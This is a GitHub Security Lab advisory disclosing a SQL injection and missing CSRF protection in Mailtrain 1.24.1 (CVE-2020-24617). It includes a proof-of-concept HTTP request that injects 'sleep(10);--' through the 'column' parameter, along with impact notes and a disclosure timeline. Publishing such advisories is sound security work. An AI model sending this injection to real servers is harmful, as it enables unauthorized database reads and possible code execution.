September 9, 2020

GHSL-2020-132: SQL Injection in Mailtrain - CVE-2020-24617

Jaroslav Lobacevski

Summary

SQL injection and missing CSRF protection may lead to Remote Code Execution (RCE) or arbitrary file read.

Product

Mailtrain

Tested Version

1.24.1

Details

SQL injection in statsClickedSubscribersByColumn accessible from /campaigns/clicked/ajax

The user input `column` is used without validation to format a SQL query. The following HTTP request triggers SQL injection. Note that the anti Cross Site Request Forgery (CSRF) token is absent. A specially crafted page may use a CSRF vulnerability against a logged-in Mailtrain user to perform the injection even if the attacker doesn't have credentials.

```
POST /campaigns/clicked/ajax/1/gdgdg/stats HTTP/1.1
Host: 192.168.253.133:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: connect.sid=s%3AzxIehz7S0MFY1s3sP_7WxkFE6_yfHN8T.C3jcpEr1Ly1gAAnMRhELS0qiBJgBSCDV4ohkiuo1kj0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

column=sleep(10);--
```

Impact

This issue may lead to RCE or arbitrary file read. However an important pre-requisite is improperly configured database user settings. If the database user is correctly locked down it still may lead to denial of service or a timing based blind read. Authentication is not needed if the vulnerability is chained with CSRF.

CVE

- CVE-2020-24617

Coordinated Disclosure Timeline

- 07/07/2020: Report sent to Vendor
- 21/07/2020: No reply. Asking for confirmation
- 21/07/2020: Vendor acknowledges that the SQL injection part was fixed on 13/07/2020
- 25/08/2020: CVE-2020-24617 assigned

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2020-132` in any communication regarding this issue.

Company

- About
- Blog
- Careers
- Press
- Shop

- Terms
- Privacy
- Cookie settings